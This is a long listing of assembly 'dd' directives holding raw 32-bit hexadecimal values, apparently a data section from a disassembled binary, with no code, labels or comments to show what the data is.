dd 7497FADDh, 0ACCC5814h, 0BF3E3200h, 6C341180h, 156000EBh
dd 91B5D350h, 10009349h, 0BE3D4F0h, 74F9BFC4h, 0DC6000Fh
dd 399DFC17h, 60000528h, 21CB7922h, 306B35h, 0BC178C6Eh
dd 1F68BA8Fh, 283AF900h, 3451055Ah, 173F8BDh, 21430403h
dd 0D04A94BBh, 57008B28h, 0E7D70AB1h, 8274E9h, 0A31EC87Dh
dd 0A2063E35h, 56AA171Eh, 0FDDBF100h, 60306E2Eh, 0F2BF5022h
dd 372E2A15h, 0F100762Fh, 87197821h, 52471EF9h, 1F13401Eh
dd 1DFDC069h, 39CA7700h, 83DCD959h, 0C1A5012h, 0D55B0F64h
dd 0DECE0213h, 44D8F7A0h, 743A14B8h, 0FE7B18B3h, 182F08B0h
dd 8124906Eh, 1F07C684h, 0E5D6E666h, 15C3B491h, 39FA0D4h
dd 0D821F2EDh, 190D9B58h, 0CA78A72Dh, 39918A0h, 388826AAh
dd 50A75B9Fh, 61487B28h, 81BFA507h, 50F39922h, 0FF23A82Fh
dd 899C0062h, 0DE4596F3h, 6CE0AB2Eh, 0A9C35300h, 0E3EBC50Fh
dd 0AD3900B2h, 9F3ABE17h, 871C86ECh, 12C3A8C6h, 8488F5h
dd 0D0BB9508h, 0EBD9376Bh, 0AA998312h, 98B95700h, 7EA5117Ch
dd 0ACBE0ED3h, 0F140332Bh, 3124C909h, 8C23F63Fh, 481478B2h
dd 0A98660E3h, 852B3EB8h, 0A8F78EA0h, 81CBBC00h, 1AA3A0C3h
dd 72E9005Bh, 7498B3A4h, 6E001065h, 0F669845Eh, 2BCFCh
dd 0FFA94094h, 0EDCABA39h, 0C1420600h, 6F585E18h, 63571E84h
dd 0E3144E6Dh, 736A6520h, 0B90ED6A0h, 408595F4h, 2B159AD4h
dd 0CFE300ECh, 0EAEDF20Fh, 5D027E86h, 0A0B44820h, 5CE15DB3h
dd 19316042h, 0EEDA2B0Ah, 0B9009545h, 229931F5h, 713739D6h
dd 3A4DD88Eh, 86E70D40h, 7CE8237Fh, 2798381Ch, 0EC4BB740h
dd 3D0EFEDBh, 0D1BC67B3h, 3DED692Ch, 0FE31292h, 403F585Dh
dd 101A5F34h, 5703B919h, 55E69F44h, 0B8190052h, 3DD38463h
dd 9730CDEEh, 5AFF9044h, 74C41E24h, 92278CA0h, 7275FC19h
dd 9DF7602Ch, 496F3E00h, 0EE8ABEh, 0CE74B421h, 0B0885748h
dd 6518CC76h, 7E38531Ah, 63897F44h, 48F749F5h, 68DE1900h
dd 43CF25C9h, 5947C26h, 0A5F2D409h, 47A05CEBh, 10B52497h
dd 987F1213h, 0B7844150h, 0EC588360h, 1C34DC8h, 0A1FECFE9h
dd 0CC7C6F46h, 0A9B0F712h, 8E752100h, 0AE0F5881h, 567C68h
dd 336196CFh, 0F11264AFh, 0FEA95000h, 6E0D607Ah, 39F6000Ah
dd 0D7BFEB5Fh, 0F00F70Ch, 9AF58C68h, 3D5DD36Fh, 8E80D03Ch
dd 0F2158F50h, 7E769310h, 0B50307FEh, 0FC1F7778h, 0FDCFE0EFh
dd 180373F0h, 380A6881h, 6767485Dh, 4A600F88h, 2261BD7h
dd 8B7C75EDh, 0DD803A91h, 9E66A361h, 106AD200h, 89082E17h
dd 7C5BF87Fh, 27F95818h, 0E4BA1B06h, 0A33E1888h, 0DCF80013h
dd 360746E1h, 44EE0068h, 0B11EEA08h, 0EFF2AA4Dh, 0B8DF8B07h
dd 16C106ABh, 9700477Ch, 0F38F408h, 0FCBE0C0Ah, 1C3A002h
dd 32501155h, 573126E4h, 0A66500A0h, 1903F5FCh, 1FB04DC3h
dd 835992B6h
dd 7296ABh, 0AD9126E8h, 605EF055h, 2FA2300Fh, 17EBA1h
dd 0F8D7A70Dh, 529A5C21h, 1DA49B00h, 3C205FB0h, 4C748778h
dd 0EBD5F800h, 62D92554h, 85390335h, 0DACF8447h, 0D75CA8B8h
dd 0B3033CF8h, 2E403650h, 0C1D9C3DFh, 40806776h, 29D42DA3h
dd 12072061h, 0FC573347h, 483B54B0h, 0C31003CEh, 6A53F266h
dd 0A69F00FCh, 2CEF5Ah, 0F49AF7E2h, 0F0AD10B8h, 0DF0C30FEh
dd 902AB0FCh, 32FFA3Ch, 9CF470FAh, 40E704FBh, 41914B67h
dd 0F914490Dh, 2C0B9853h, 2DC02006h, 9230A863h, 8A14F132h
dd 60FD6FB2h, 8B46409Dh, 5413B887h, 0ECE820C3h, 5762A0F7h
dd 0CF161CDAh, 90F29F6Fh, 9565003Bh, 69D34509h, 4E78C066h
dd 0E215D496h, 97FFC000h, 0B32650F7h, 0D5F00029h, 33C8E0D3h
dd 0D07BA0CBh, 0A24F3A00h, 9A962D4h, 2024A45Dh, 0EB00E003h
dd 33C2CBA8h, 6372BE90h, 0DEFDC993h, 8A3BB905h, 0D05A8717h
dd 60041D98h, 0F1E44892h, 0AB00C0F8h, 0C68D490Eh, 0AF88BEh
dd 74C89063h, 9F21506Ch, 0A3CC291Dh, 6800FA52h, 6F44DBA4h
dd 51D0364h, 0F2F7042Ah, 0B437CA88h, 38718900h, 4BB3B9A9h
dd 21DE0FC4h, 94251F17h, 0A8BCC0FBh, 0B400A79Bh, 0A4CBAB88h
dd 3E2D38E9h, 2C80FD2Bh, 3C8B5156h, 0CCFA7425h, 0B5B3060Fh
dd 0F7ABE0CBh, 0F602C4h, 9D476D10h, 0C7160E4Ah, 9F3A5270h
dd 0F0E1007Ah, 0C2990768h, 0F81E0062h, 82DC79ECh, 2500D6CEh
dd 0A604A7D2h, 8D4DD1h, 8E5B147Ch, 0CD22105Eh, 0B006B70h
dd 4765DBC6h, 3B3CF0ECh, 0F5809567h, 5E747160h, 7600F72Dh
dd 15589EC9h, 33CC4Ch, 0F2534FEFh, 63D3CA62h, 0DCF5AD00h
dd 804B88F1h, 0DFEC7h, 280B4278h, 0CEAEE1CDh, 0C462DA00h
dd 0BC0A3C69h, 0EF3200F9h, 0BDFE96A8h, 0FD0593A3h, 0C65E35C1h
dd 2AF3D040h, 17EA58Dh, 1E450CE0h, 0EC1A4C19h, 2F09A743h
dd 20BAE6D3h, 3C0F8670h, 68F40A3Ah, 1DBC561Dh, 0C1B87B08h
dd 9E981400h, 367B66BAh, 0C3E9B24h, 9F66E80h, 3D2ED4Bh
dd 0C5EF67BEh, 8FE97255h, 2BCECDB5h, 0F09C10A0h, 0E8E254B6h
dd 830F000Eh, 0E90A1E82h, 75036E5Dh, 582ECCF0h, 0AB1F80AFh
dd 4E7400F2h, 0ED9A6349h, 47770853h, 0FD008BE0h, 995BD287h
dd 8A9F05h, 0C94FB90Ch, 0F317B22Eh, 2A781398h, 4914C32Eh
dd 69CD0501h, 4CC0F5CFh, 4998B3h, 36A24E60h, 0A9FB7AFFh
dd 0AE07B2F0h, 388661D2h, 0D850034Bh, 248AC089h, 59F50F32h
dd 94003319h, 0E1F66FA3h, 40C36D78h, 0D8C7A9A0h, 78CD47h
dd 0AE4101C5h, 98FA3064h, 2D63D900h, 2FD28479h, 4AF3910h
dd 0B80CF700h, 739145E2h, 0A1F9AA00h, 0A5EED75Fh, 0F4B600DEh
dd 592609B7h, 0D0A0F6FEh, 1101D0F1h, 4D15EB72h, 8020379Ah
dd 0B90F0029h, 54390E08h, 80F9EE4Ch, 16F73C02h, 0A3926Ch
dd 0AB2B1FCCh, 0B5412DEFh, 499F1003h, 260F9D4Ah, 8CB0164Ch
dd 0E3C46E6Ah, 0D4575828h, 0CE7C7F00h, 13DEC3B9h, 2677005Ah
dd 0AF1DE788h, 9B0080E3h, 4DEBB438h, 7EB1116Fh, 2D840093h
dd 4F977B03h, 12005C24h, 29FD088Eh, 4806C847h, 1B060C91h
dd 693F77E8h, 0F8B92B09h, 3AEC008Fh, 7FBA31E2h, 80D0DF2Ch
dd 0D3F1D076h, 0F500C692h, 0A6059362h, 0C88CE3h, 314CAFA9h
dd 544FDD1Fh, 780B0A07h, 0EE109139h, 0C8E9DFh, 0A242F9D9h
dd 0A90C6933h, 0DBF15D1Fh, 0E1F56240h, 3F63EDh, 75CD9045h
dd 69FBABEEh, 0ACB38C0Fh, 0BCE6E0A5h, 1D7C4AB4h, 0A61A39h
dd 0D1FCBFDAh, 30070854h, 4533A594h, 2007DBC0h, 79C700C3h
dd 0DA90D682h, 18034A81h, 8DA3F530h, 4D2A0A6h, 0AAAB02Ch
dd 5AB5CC3Ah, 1C5080F0h, 92E8981h, 72B0AF00h, 264A45FDh
dd 0FE8A00E2h, 6A05D908h, 7F1C9514h, 0FDC06928h, 723B30EFh
dd 216800B7h, 8CCD39F2h, 0A80160B6h, 0AD65EB01h, 35E081CBh
dd 0E2EA007Ah, 0BD99C01Eh, 0E460270Bh, 0D9F7E520h, 0C2C80076h
dd 9240A8EEh, 10001A44h, 2532F59Bh, 794BBBECh, 73C40317h
dd 86F7AEEh, 9F0B50A0h, 18A98307h, 2D80EDC5h, 12583C46h
dd 0C2B064Ch, 0BA18C3EAh, 600054FCh, 95E194B4h, 4BDD720h
dd 0F42549D5h, 6C99C0BFh, 0B13DAB06h, 0A95D0045h, 500A824Bh
dd 0E73A005Bh, 1E0DB41h, 0EB003E4Ch, 62BBC09Ch, 9D21A82h
dd 0D127404Bh, 28CB9020h, 31006B2Dh, 0E4F87E4Ah, 51CCB0h
dd 938CA707h, 4C4B174Eh, 742B2C00h, 13E53AFBh, 961D00EAh
dd 1C659AECh, 0A89270DAh, 0BC77D7B0h, 3820CE06h, 43869D9h
dd 99258184h, 2662C1F3h, 94C8EA24h, 0D491CF9Ah, 9C985E60h
dd 2C70BD05h, 93535F1Ch, 6A6F3040h, 4E90Eh, 0D00FE03Ah
dd 94C3F4CCh, 64063B00h, 5D126B26h, 5B382CCAh, 0A30580F0h
dd 69C145E9h, 0C0D35F04h, 0CC8C6ECEh, 1C053D9Ah, 37A2A112h
dd 308769F4h, 8B1DC027h, 2100E507h, 36B9C19Eh, 0A9AB17h
dd 0EDA1AED3h, 0C470B2D8h, 0D9825E00h, 773E88E6h, 89423064h
dd 0CF293638h, 158BF100h, 0E6F055BFh, 3008B2DEh, 0DD69A09Bh
dd 0D9000EE9h, 31F75DF1h, 23A47Ch, 0CF93FAB9h, 0DC378171h
dd 0D148AB05h, 0FC0FB31Dh, 1301FEFEh, 0EB3355F0h, 6058C9h
dd 42891326h, 46FC4068h, 0B5D15671h, 2A80CC91h, 0ED74DDDEh
dd 23820122h, 55E018AFh, 0B27C4016h, 86024558h, 26CC56A6h
dd 43CC8E39h, 0D0F20B3Bh, 7ECE64Bh, 33229C3Eh, 0E0145752h
dd 73D6C84Fh, 56808C9Bh, 0A05C7FC1h, 87DC99F5h, 23197865h
dd 29006CA8h, 0F2D21F70h, 25928D7h, 6B479CA2h, 0E0E02CB7h
dd 0B2D5AFh, 0F918C009h, 0F2380FA6h, 64E1E800h, 0EEC07h
dd 7A7DB5BAh, 733AF9A4h, 0C75A2100h, 1C20C1DEh, 0E768006Bh
dd 8E1BAA47h, 0D9048B9Eh, 4AA490A5h, 67785480h, 0EA2505D2h
dd 0D0E8A870h, 47AF4BE4h, 0C5321100h, 578263D1h, 52AB0419h
dd 8C1C73B8h, 6907685Ch, 0E513895Bh, 818007C4h, 3C4229h
dd 0CD83447h, 0A54E368Bh, 0B44FDB00h, 4908AB03h, 0D99914DAh
dd 0F7058E2Ch, 0F21264h, 22501780h, 8A133791h, 0F0167A73h
dd 670C3A00h, 56FAECCh, 0D8649BB3h, 2EC0BA3Fh, 0E393E1h
dd 0BABFFD11h, 0A25648A1h, 0F4DD3707h, 0DC3546B5h, 0CC32F5C0h
dd 3F8139F0h, 0C1C877FEh, 50964F20h, 49C8503Dh, 1400F834h
dd 4189C268h, 0A06A5BE7h, 1947794h, 50CB3264h, 203CB81Bh
dd 0B0B81C32h, 8D2890B0h, 531B3C4Ah, 885092CAh, 17F40A7h
dd 1B91A0FFh, 34455208h, 0A305431Ch, 160E9871h, 0F0CB9C21h
dd 38DDC442h, 6B00718Bh, 0C8B84F04h, 0C0930D0Ch, 6C57EA60h
dd 37307E1Ch, 9FB95986h, 0C0794B9Eh, 0D5FCB4C5h, 71A98203h
dd 0D8E00E26h, 61E851h, 2E275F91h, 5C8F6B0Ah, 17FAB100h
dd 2FC7C07Ch, 0A1CC3095h, 9AB6C350h, 7F22C500h, 9C1F10AAh
dd 8EE416CAh, 73800013h, 0D58C7C38h, 2FD3Bh, 0B37AF41Eh
dd 0E4529Ch, 78DA80EDh, 61298636h, 4D45F00h, 0AD6BB0F8h
dd 0BCD011Ah, 67C19AE2h, 0A312C42Ch, 523FF107h, 0A9BF743Ch
dd 0F0F004E8h, 22091481h, 0EEC0FC28h, 8195A042h, 0E0027971h
dd 0BD78668Fh, 2798E8A8h, 3DF5009Fh, 0B2A984DEh, 0B4912BF2h
dd 0ADC88A60h, 98014D9h, 3092B8B5h, 58DD6398h, 0C2F032E5h
dd 0E0A22F9Ah, 9ACE3058h, 602A00CCh, 6C088BD4h, 0DF0022A1h
dd 697E47FEh, 0A72E1A3h, 6D1AA2F6h, 6B5480F0h, 0D0D2982Fh
dd 3BB1F702h, 20C8B613h, 97AB87ECh, 5BFDC10Fh, 1501C15Dh
dd 70700758h, 702F4D3h
dd 3BEDB456h, 0B07B83C6h, 66DEDCE0h, 59440500h, 0C215DB8Bh
dd 34134858h, 1C451BA2h, 0B540859Dh, 334E67DDh, 1B240F70h
dd 4F60947Bh, 0AD5E99F6h, 49004EB8h, 0D465BA86h, 0C091DB11h
dd 0C44B3A18h, 282ECA33h, 8F00A19Fh, 0D9303726h, 242E0211h
dd 0F7C85868h, 429BA468h, 807F5E28h, 0B096DB00h, 6E06B428h
dd 0FE9100E1h, 0A9883D5Fh, 131D1C81h, 0C245E79Bh, 0A4C036D8h
dd 499971h, 0EA2FDA82h, 0C17BB5D9h, 98B41C00h, 372A7509h
dd 78C30043h, 96C5446Fh, 83138ADCh, 1703B8BAh, 0F06B31ABh
dd 4B5790h, 20519F92h, 3212365Ah, 64003A4Eh, 3F745D62h
dd 0AED2009Ah, 5EA22793h, 0DC9624D4h, 0F1889641h, 0A0DCDCD1h
dd 0F9D50F83h, 240C21Eh, 0ABFB6C3Dh, 934F3A1Fh, 0B7203C00h
dd 4E067ECh, 0BCD6EE47h, 0F8449037h, 0D560C04Ah, 7B885179h
dd 412F3AE1h, 0D00A6D07h, 594BC3DAh, 0D3A00BE3h, 0D661859Ch
dd 2E2A3531h, 7993B0C7h, 92F30BA0h, 0C2009F3Dh, 444B2061h
dd 483B4313h, 2037C60Bh, 5ABD56C8h, 0A4EA377Bh, 0E3A5C261h
dd 5BCB1080h, 93C6892h, 0A6DE05E4h, 204FA480h, 14926265h
dd 0BCFD18EEh, 0F1B3EA00h, 0D6E9AF0Eh, 68F5007Fh, 612DEEB8h
dd 5B7CC208h, 4230BE00h, 77D5D079h, 1FC41FA9h, 81B0C4C8h
dd 528780B2h, 92005896h, 32E7C7EBh, 77F41D98h, 0FFF807AFh
dd 0A0B312DDh, 0CCDEC075h, 81952A3Fh, 0C8553DABh, 0CEC40513h
dd 0A3E20016h, 73FFE72Fh, 5400D4A8h, 1A53678Ch, 19EF734h
dd 0D84D5B55h, 804694B1h, 72584AD9h, 487F92h, 5168602Fh
dd 0BD670B25h, 17771000h, 0DFA2768Ah, 0D9230386h, 79A14502h
dd 0D430FAD0h, 0D6280800h, 75ECF45Fh, 0AF670AFh, 0B122681Ch
dd 0F9BA4394h, 0BE9B7993h, 0BB2CA0CFh, 370012B9h, 0FAB08959h
dd 5D0FDB1Bh, 7DEC8Ch, 413D7A9Ah, 0BB78452Ah, 2700E47Fh
dd 6F894601h, 66E849h, 0F14210E3h, 3A4D9047h, 80035025h
dd 0D51376E0h, 0E89C69h, 2DF36C8Ah, 0BB0029CBh, 458B74DFh
dd 0E05BFA2h, 35C25966h, 87E1F3E0h, 293F8D9Ah, 1FB68022h
dd 0E3697947h, 7D420FF5h, 0B80303DFh, 0E998C0A1h, 3C787C30h
dd 8C69CF63h, 9488F513h, 1FEE0007h, 6F267AC6h, 0B8A8438Eh
dd 960021DEh, 920CCC90h, 9798C2Fh, 9BC07AE3h, 0F128060h
dd 335CA3Ah, 178D8850h, 0F9A5F18Ch, 78EDF0C7h, 3D7F008Bh
dd 6A021E34h, 7071B59h, 8AE4D16Fh, 754EA600h, 0E14E09Bh
dd 0C6D7BF08h, 11525140h, 573E0366h, 3EDE0012h, 6AB197FAh
dd 3C861847h, 2B4B1059h, 1CBE80C0h, 3ABB3058h, 73184594h
dd 1BFC206Ch, 0DFF20F00h, 8D1DCC2Eh, 0D37C41h, 9603F43Eh
dd 0D15ABF33h, 6B3070D8h, 1D5D0159h, 813698Ah, 0D0E54371h
dd 0BE7A2000h, 1FCE09F6h, 2040C773h, 27D48355h, 0F7FAD80Eh
dd 7A1EA001h, 31F67522h, 8B082817h, 0D7208068h, 70C755F9h
dd 1BB7C0Bh, 4616AB2h, 0FB8AE3A1h, 3A2A8003h, 0C06C02D2h
dd 0C1C74A20h, 0F018ED88h, 436EC0A8h, 33BE3Dh, 0ADAA8F16h
dd 0B74914h, 892E2831h, 74B5808Bh, 11EA9103h, 0BF94EE9Bh
dd 0D2CCC6F0h, 32B769Dh, 2160109Fh, 0B0E8486Ah, 0F502AE29h
dd 0CD4D997Bh, 0B9286019h, 81023870h, 7AF14A80h, 46842C14h
dd 5834B700h, 0D56A7D6Eh, 50DE1EEFh, 0F0C5C090h, 6936F31Ch
dd 8BDDED01h, 0B3D7D84h, 1841F4F4h, 0A8FE3276h, 160FB27Ah
dd 83D5F317h, 0E0F7B5B9h, 1391DEh, 3B813EBFh, 85FC4DA0h
dd 1D83B10Bh, 8DFB0074h, 6370965Bh, 68A630BBh, 0B06EA9F8h
dd 4CB8C207h, 180577Dh, 1E2A26Fh, 5181173Eh, 87F27EFAh
dd 1DA76158h, 19DB7920h, 0ED2330B3h, 0C17F8108h, 8F413E00h
dd 1E5C0DFBh, 0F95E0F7Dh, 6C63B013h, 0B060780Ah, 0E7908149h
dd 6099372Eh, 0D7128038h, 2C7E4B7Ch, 3C8C8619h, 21876A09h
dd 0C0E77632h, 0EABEDCB8h, 62075A16h, 45C70C00h, 19F8F281h
dd 0C054ED4Ch, 0ABCA206Eh, 205AD803h, 76AA015h, 283E0819h
dd 9ECFC0D3h, 0F0600D90h, 0AD9FF260h, 1EED00BFh, 6A9B65E6h
dd 0C2E876DBh, 927F88h, 28ACF7BFh, 0D262A08Ch, 21D1FB6Fh
dd 0C92D7485h, 30D095E8h, 0C3B8812Ah, 0E1039822h, 0EAC830F9h
dd 884EDBEBh, 4A2D9257h, 9FE68012h, 0C6300873h, 96E2B174h
dd 0A7E43ADEh, 407C551Dh, 94D2FAFBh, 4A00105Ch, 0A4B2EDEBh
dd 61568Fh, 0E9A16ED5h, 0A88D2A21h, 74324F03h, 992881CAh
dd 0B8FC0BC1h, 0C8E10052h, 87862C68h, 0C41F53F8h, 8A4F142Bh
dd 597FA0D3h, 61A39Eh, 71153460h, 43208711h, 2CD6A00Fh
dd 89108096h, 1F0383Bh, 0AF48DE35h, 703699D7h, 0C009C5Fh
dd 0D013EC32h, 1BE10FFh, 1EF644B4h, 8769E8D9h, 54937310h
dd 77BF1610h, 7AC20088h, 0C75419Dh, 97187602h, 9958D16Dh
dd 0DFC900ADh, 0BEB4C3BFh, 0C83A13F1h, 6410E393h, 1BC290A0h
dd 0FECD80D7h, 90490930h, 0EEC7FBh, 0C88DED1Eh, 0E937065h
dd 2068E36Ch, 0DF823D10h, 0EE624B00h, 9C1C3BA9h, 78DDF6E6h
dd 0CEED2240h, 0F4C1E48Fh, 68930061h, 0A8A59283h, 6F0684F4h
dd 0DC0BE1CBh, 2DD50051h, 7ED6757Ch, 4E0E2E57h, 0FD39F867h
dd 9A3D4580h, 133199Eh, 0F4E9BB5Fh, 4421C1CBh, 12CB00F6h
dd 689B94DCh, 0C3881C6Eh, 0A8664C9Fh, 80B00252h, 1D00F0C9h
dd 0A5977B5Ch, 1C2D4209h, 40DBA284h, 786D71ADh, 574BA43h
dd 4DC7CC03h, 0C96930CFh, 72FC4E48h, 335074E2h, 322074FBh
dd 33123180h, 7A5B9C00h, 0C454B5E1h, 0CAEE070Dh, 504ED046h
dd 52804D7Eh, 38BB7130h, 0F8280B11h, 686E6023h, 9064D727h
dd 0C4DFDC09h, 8730C49h, 200B60AEh, 6663E507h, 6D755377h
dd 35F89703h, 3E6F71B4h, 25A96BA9h, 30D1005Ch, 4FD8C0EFh
dd 75272086h, 31090C00h, 10DF0378h, 0F81479CEh, 3F84004Ch
dd 0DE747A0Ah, 0D70057DBh, 6DC7CB95h, 12EC398h, 0CDAFB5E3h
dd 9DAE7D0Eh, 20F06E08h, 0DA75B8h, 4A0C642Fh, 721E5210h
dd 7C55602Fh, 3899308Eh, 2603B150h, 99F2DB8Ch, 92193F75h
dd 0DC859D0Eh, 0AB2A10A0h, 3D0304D2h, 0CF99017h, 12C5EBE5h
dd 0AC7868h, 0AD54D04Ah, 5863A47Fh, 0C6DF09h, 20430C20h
dd 0D49A550Bh, 0BAECF550h, 0A1F1210Ch, 0FA925153h, 161F3CACh
dd 0DA895600h, 585264Ah, 39C0401Ch, 0B68BFAC0h, 1F471B93h
dd 8045BA04h, 26CDA00Eh, 23E677Fh, 3D9E8031h, 449B56B7h
dd 97BE3AACh, 6D13C000h, 0A52F6602h, 157B5Ch, 6309F61h
dd 29D432h, 0CE714BF1h, 3E626780h, 0A7001171h, 0EF379E55h
dd 30399A73h, 9C20CF79h, 0BC097B0Bh, 0EB36226h, 8B248091h
dd 0F4CA949h, 0DAE73AEFh, 0A7F602C7h, 820DA11Eh, 7AC9D88Ch
dd 24920D8h, 60907430h, 5C12786Fh, 7200993Dh, 0B406343Bh
dd 3F82173Fh, 9F9FCC64h, 22F0308Bh, 10F3D5DFh, 89B9E5Dh
dd 53A6C6B6h, 0E1542h, 73A4EDA8h, 991D6F72h, 7B8690Fh
dd 9C8B3178h, 0C58216B0h, 0B024000Dh, 80D0EA37h, 0E5384447h
dd 19430F62h, 12FA677Ah, 2EA94E46h, 0F711F8h, 0E81CB6F9h
dd 331CFD62h, 0DB0E2FA2h, 87C7A0D2h, 42143Fh, 0A8B9CC05h
dd 386B150Eh, 6EBFA400h, 89395B3Eh, 8E991CFDh, 707FC0D1h
dd 0A1C8AA8h, 41C46E00h, 0CF4A43A3h, 55F000BBh, 0E3139B0Eh
dd 0AF00AE40h, 5836B4A9h, 0B00A7E2Fh, 0B37EABh, 3E7FCCEFh
dd 744A0668h, 8944BF00h, 7728570Ch, 800A0032h, 0EBBE7BA4h
dd 0D900C240h, 0BF313693h
dd 198D85h, 3E7E729Bh, 0B30118D7h, 0F8681C0Fh, 0C496A091h
dd 0AD5A4Bh, 995173FFh, 9554C39Ch, 443E8D07h, 0AC47C7F7h
dd 63A101F0h, 13F800DEh, 0C7D5B66h, 6D50087Bh, 0F60150A3h
dd 5DF99B38h, 18837AD6h, 0DFAD181Ah, 2B7F35D8h, 0EFBC3CC1h
dd 48409F0Eh, 0E87C3806h, 795BF0DFh, 3469035Ah, 89A7DC57h
dd 2817B1A8h, 1CADFC00h, 7A85CF03h, 0F1E10EC6h, 0F4802730h
dd 6A51BC9h, 61E8A703h, 0A0B52496h, 172564E7h, 7E7B87h
dd 0B0A067E9h, 633E43B3h, 0E67080E9h, 7516F4Ah, 0B6741EE7h
dd 0CC6740AAh, 0FA458158h, 0ED595503h, 0F456D7h, 0BE479921h
dd 0BB879F66h, 1DB35C26h, 0EF573D00h, 736568FFh, 0D6C20391h
dd 0C6AE7341h, 0B3593800h, 0B91D1F7Ch, 0E8CE000Ch, 0AAC59294h
dd 0A62A6F44h, 0DC0D4006h, 79815BBDh, 6F924001h, 0BE1C8600h
dd 3D5D3200h, 0CE5A61F9h, 6E78065Ch, 71AA65A6h, 60561F06h
dd 1088C322h, 6E8117Eh, 0EBB16567h, 0FD3107A0h, 0A0A59E90h
dd 0E62C688h, 8A41B060h, 3A807B4h, 0B019E14h, 830C0D0h
dd 92904913h, 22420008h, 1D89519Eh, 7CA07C4Eh, 2C888545h
dd 19E0C0h, 1862CCC5h, 0C1789B51h, 140C9303h, 0C8CF0EA4h
dd 201AA03h, 1C498513h, 2240CE31h, 0A8E6D1E6h, 0DD84CF00h
dd 61227A66h, 635DE88Ch, 0E2A0566Eh, 33E869D3h, 1D0E1E51h
dd 81FA3018h, 81A821AEh, 0FE3C93C0h, 8E2F0052h, 672A0CB3h
dd 0ECE0E83Eh, 9039D9F0h, 7FDD00C2h, 2E0C5A31h, 79C9F92Ch
dd 302026E0h, 34282BC1h, 0DD00810Dh, 7B59BA82h, 17A9D66h
dd 5796FD26h, 0EC9C73ADh, 4E75EE10h, 0E1F24000h, 0FA5F8AD8h
dd 52F838A5h, 50F9358Fh, 49D9A4E3h, 7A8FB1C8h, 163E5AE0h
dd 660A803Dh, 4493D75Dh, 289A01A4h, 8892AEEBh, 0ECADF178h
dd 4B60127Fh, 0C4D3D0AEh, 6C800689h, 4874072Eh, 1B697B18h
dd 166608h, 0F9CEACADh, 6EB82B9Ah, 17BE3Eh, 20C9EDFEh
dd 3C15067Dh, 0E7BF015Dh, 0BC280480h, 6C692508h, 0B7129900h
dd 2E6398F2h, 0FF21300Ah, 0B2621FF8h, 4D805A00h, 0A39C9E51h
dd 7FEC3844h, 5EC1A400h, 7936D786h, 94B890C0h, 0A065826Fh
dd 25B7ACh, 1E611821h, 3C54AE06h, 1FB14863h, 5FA1D82Dh
dd 0F7B018h, 0D7D8F68Eh, 0CBFF6FB3h, 3BCC5B0Fh, 0D89BCA2Fh
dd 0BE83231Fh, 0F04B79B9h, 0F5225Dh, 58983866h, 56783B4Fh
dd 2A7C6A03h, 0D855DA4Eh, 38AD6E3h, 0E9FD6787h, 90092BC2h
dd 7C344B05h, 0AE3E0070h, 0A435D137h, 98C52CE2h, 348430BBh
dd 0C25D8802h, 16848722h, 4080DAB2h, 3885AC40h, 1448664Ah
dd 0A0CB5418h, 3F50837Dh, 0B10927C4h, 85D1AE6Dh, 0A45B1E36h
dd 0C89F658h, 0F613C65Dh, 43442659h, 0CC108681h, 7F21922Bh
dd 5E104D80h, 51EA703Eh, 8E31582Bh, 0CC9B1BCh, 203E5862h
dd 9DAC8C40h, 35E22CABh, 45308B24h, 26804E97h, 0FA58A0D9h
dd 0F6FC41AEh, 20DE2CA1h, 761901B5h, 34441408h, 195842C7h
dd 12B10B2Dh, 7CFCF0A0h, 84EA4957h, 49179D00h, 0C207C8CCh
dd 2F8FC92Ch, 7AC5BE00h, 723D011h, 0C1A71283h, 68175F5h
dd 0D8A1BC94h, 7C4B4010h, 13F12F00h, 899CD12Dh, 679EECA0h
dd 18264600h, 0B698566h, 427E005Fh, 63E21196h, 9FECFF52h
dd 0EC2A370Bh, 8A23804Bh, 121B462h, 18F8884Ch, 87973EA9h
dd 1AAB4AB9h, 4D38B520h, 0A4CB000Eh, 0C1BC2779h, 0EB0B8280h
dd 87CC11h, 4A4EE673h, 0F8CD7F8Ch, 0BF9C009Ah, 81281CF4h
dd 34398647h, 9589003Ah, 84941596h, 0A3F50051h, 0C646590Dh
dd 8200FAFCh, 432BCA32h, 77DCBE69h, 9EFE4Fh, 0D38FA5E9h
dd 882C3023h, 6171C000h, 0E83A7BA8h, 7D1B90BFh, 0B676018Fh
dd 8C3B5F63h, 383D0B9h, 0F00560ECh, 11B275E7h, 41918C0h
dd 8AB010h, 597E993Ah, 1E587009h, 0E02D9000h, 0BC867CEAh
dd 827D39h, 50B0999Dh, 0D4F4659Fh, 55784F1Dh, 280FE1Eh
dd 96ACEB6h, 54A10F27h, 25E0ECE4h, 686C4A73h, 1461138h
dd 0FFB9E7CAh, 0B8228808h, 0ABE040h, 427CC67Eh, 3F90190Dh
dd 0AD2119D8h, 301F4CC3h, 0F52D5214h, 6F4D1Ch, 0E79E0D29h
dd 0B3485E8Ah, 0F0A30048h, 0B052276Bh, 28146232h, 832228F4h
dd 0C7B448A8h, 286A611Dh, 1159A7Dh, 5B112D58h, 246B1183h
dd 1249BE11h, 0D33C870Ch, 4014B5D4h, 40E7965h, 4219B028h
dd 5E187A9h, 0DB500E33h, 0C4A43ED1h, 57FB440Eh, 0BDA728A0h
dd 5088F1CAh, 0E414903Fh, 29E07B3Fh, 4CDD03B7h, 0A7BC6F00h
dd 51E79DEEh, 0BFA1CF12h, 0AE6E1831h, 8053E051h, 45000370h
dd 82CCD79Bh, 0EAE6E4h, 0F9BECEAFh, 0E17DDBEFh, 0DD8F58h
dd 41ADFA64h, 0FE7151Bh, 32773CC5h, 0ABCF29A0h, 55900470h
dd 6E94D200h, 49FC5D0Ah, 7BA40098h, 6FD47499h, 29000367h
dd 6A9543C2h, 3CB0455Dh, 620014A0h, 4CDAEFC5h, 0E10F7357h
dd 60AF9DBDh, 8C6850B8h, 723B0F2h, 0DB9F864Ah, 8314C71Ch
dd 50B75E11h, 43644FC6h, 2CE88E26h, 9AA67780h, 12FA70h
dd 40297861h, 0C05BA054h, 0E7D30403h, 0D86F9682h, 0C27A5Dh
dd 135C35A6h, 53D3FFEh, 0D800D07Eh, 0F343D2C3h, 1258CB4h
dd 4231A965h, 0C00476C8h, 0AE18B051h, 0CB18411Ch, 0A2430CEAh
dd 20CA24C6h, 1B26FF00h, 6D7B5BDFh, 0FA56094Bh, 0DCA0D5B8h
dd 4AA64F71h, 0D4383D00h, 0FA4E413Ch, 8072E8h, 0DD33E742h
dd 279F3996h, 85E90D0Ah, 8900C8F8h, 615CF951h, 7EAE0005h
dd 6784734Ah, 44F0B491h, 0F152BB00h, 1F4F7A85h, 98970002h
